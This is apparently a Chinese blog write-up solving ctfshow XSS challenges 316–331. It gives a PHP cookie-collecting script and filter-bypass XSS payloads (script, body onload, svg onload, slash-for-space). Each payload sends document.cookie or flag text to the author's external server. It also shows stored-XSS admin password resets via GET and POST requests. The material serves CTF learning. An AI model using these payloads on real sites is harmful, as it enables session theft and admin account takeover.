ctfshow-web[XSS]

ctfshow-web[XSS]

参考文献:https://xz.aliyun.com/t/4067

准备:

一台服务器

本地:

xshell7

xftp7

利用xshell7连接到服务器后,打开xtfp7即可

316-反射型-直接远程调用

打开页面后,发现输入什么就输出什么。输入经典的跨站语句<script>alert(1)</script>,观察是否出现弹窗,来判断是否执行JS语句
在这里插入图片描述

出现弹窗->存在跨站 { 题目的意思就是我们生成Xss链接盗取cookie,后台会有机器人自动点击 }

在服务器准备一个接收文件 接收cookie <-get.php
在这里插入图片描述

<?php
$cookie=$_GET['c'];
$myfile = fopen("cookie.txt", "w+");
fwrite($myfile, $cookie);
fclose($myfile);
?> 

在这里插入图片描述

js中获取cookie的代码:document.cookie
window.location.href:获取地址链接

在这里插入图片描述


<script>window.location.href='http://自己的服务器地址/get.php?c='+document.cookie</script>
<script>window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie</script>

在这里插入图片描述

回车,机器人会访问这个地址,就会将他的cookie发送到你自己的服务器上,刷新->出现cookie.txt

在这里插入图片描述

打开cookie.txt->拿到flag:ctfshow{7006affd-be48-42ca-ab0d-b3c1113734fe}
在这里插入图片描述

317-反射型-过滤

先按照316关代码进行测试: <script>window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie</script> 发现页面并没有跳转->说明有过滤
在这里插入图片描述

尝试去掉<script> -> 发现代码可以正常显示 -> 说明过滤了<script>
在这里插入图片描述

可以使用https://xz.aliyun.com/t/4067 链接中的其他标签进行绕过,如:<img><form><input>

我们使用,发现可以弹窗—>说明没有过滤

<body/onload=alert("xss");>

在这里插入图片描述

<body/onload=window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie;>

在这里插入图片描述

回车,页面跳转,刷新服务器->cookie.txt

在这里插入图片描述

打开cookie.txt->拿到flag:

在这里插入图片描述

318-反射型-过滤

尝试<img>,<script>,<body>发现都被过滤,所以我们使用<svg>标签进行绕过

<svg onload=alert("xss");>

在这里插入图片描述

<svg onload="window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie;">

在这里插入图片描述

回车,页面跳转,刷新服务器->cookie.txt。打开cookie.txt->拿到flag:
在这里插入图片描述

319-反射型-过滤(同318)

尝试,

<svg onload=alert("xss");>
<svg onload="window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie;">

在这里插入图片描述

回车,页面跳转,刷新服务器->cookie.txt。打开cookie.txt->拿到flag:ctfshow{19e8e0d6-4ab9-4221-a61d-d3191724db01}

在这里插入图片描述

320-326反射型-过滤空格

利用219关语句进行尝试,发现并不跳转->进行了过滤,但是我们输入svgonload却可以正常显示代码->过滤了 空格
在这里插入图片描述

过滤空格用/代替空格

<svg/onload="window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie;">

在这里插入图片描述

回车,页面跳转,刷新服务器->cookie.txt。打开cookie.txt->拿到flag:
在这里插入图片描述

327-存储型-无过滤

真实模拟XSS跨站的实例,,按照提示填写信息(收件人好像必须是admin),在内容框写入跨站代码->提交

<script>window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie</script>

在这里插入图片描述

页面跳转
在这里插入图片描述

刷新服务器->cookie.txt。打开cookie.txt->拿到flag:
在这里插入图片描述

328-存储型-注册插入JS

打开发现有登录,有注册 -> 注册一个账号
在这里插入图片描述

登录->查看用户管理,发现并不是管理员

在这里插入图片描述

xss如何实现管理员->获取管理员的cookie->用管理员的cookie实现登录

思路:
后台管理员有功能页面,能够查看注册用户的账号密码
如果我将注册的账号密码改成JS代码(获取cookie),在管理员查看账号密码的时候就会触发JS

重新注册一个账号,密码是

<script>window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie</script>

在这里插入图片描述

登录后,在服务器里查看cookie.txt,拿到session
在这里插入图片描述

用session访问地址模拟管理员登录,打开burpsuite,抓包,更改cookie(注:服务器里的cookie隔一段时间会更新,注意刷新)->forward

在这里插入图片描述

再次更改cookie->forward
在这里插入图片描述

发现已成功登录管理员页面,拿到flag
在这里插入图片描述

329-存储型-失效凭据需1步完成所需操作

利用328关思路进行会显示你不是管理员

原因:session失效->很短时间就会更新(还来不及更改 就会更新)

解决:利用js获取当前页面源代码

<script>
$('.laytable-cell-1-0-1').each(function(index,value){      //获取标签下的值(flag)
	if (value.innerHTML.indexOf('ctf'+'show'+'{')>-1){         //读取带有ctf、show、{ 的关键字
		window.location.href='http://www.jiafan.fun/get.php?c='+value.innerHTML;     //发送到自己的服务器
	}
});
</script>

如何查看标签的值:在密码处右击->检查->查看JS代码

在这里插入图片描述

发现密码在layui-table-cell laytable-cell-1-0-1标签下显示
在这里插入图片描述

重新进行注册->密码为script代码

<script>
$('.laytable-cell-1-0-1').each(function(index,value){      
	if (value.innerHTML.indexOf('ctf'+'show'+'{')>-1){         
		window.location.href='http://www.jiafan.fun/get.php?c='+value.innerHTML;     
	}
});
</script>

登录->在服务器查看cookie,拿到flag:

在这里插入图片描述

330-存储型-借助修改密码重置管理员密码(GET)

相比上一关多了一个修改密码,注册->登录->修改密码(123)进行抓包

并没有用户名的验证,直接更改正在登录的账号,也就是说,在登录状态下直接访问http://e01ad944-8567-4613-9df7-52a35c046875.challenge.ctf.show/change.php?p=123 这个地址就会直接修改密码为123
在这里插入图片描述

思路:
后台管理员有功能页面,能够查看注册用户的账号密码
其中有一个修改的密码,(抓包分析,需用户登录状态)通过访问一个地址即可修改密码

攻击:注册一个用户名和密码存在跳转修改密码的URL地址链接
如果管理员登陆了后台,然后查看了用户的注册密码信息,就可以尝试重置密码

将访问地址的数据包写成JS语句代码,写到注册用户上如果管理员登录,查看用户的账号信息->触发JS代码->自动跳转到一个重置密码的地址链接上,重置管理员密码

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>  //管理员一般都会在本地访问,所以使用127本地地址

用代码进行注册
在这里插入图片描述

登录(触发JS代码,机器人触发后修改管理员密码)->退出->使用修改的管理员账号密码登录。账号:admin,密码:123(如果出现登录,错误多登几次)
在这里插入图片描述

登录成功后点击用户管理,拿到flag
在这里插入图片描述

331-存储型-借助修改密码重置管理员密码(P0ST)

注册->登录->修改密码(抓包)->发现是POST请求
在这里插入图片描述

思路:
js->post提交数据包代码

<script>$.ajax ({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

用代码进行注册

在这里插入图片描述

登录(触发JS代码,机器人触发后修改管理员密码)->退出->使用修改的管理员账号密码登录。账号:admin,密码:123(如果出现登录,错误多登几次)
在这里插入图片描述

登录成功后点击用户管理,拿到flag

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我不是陆神

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值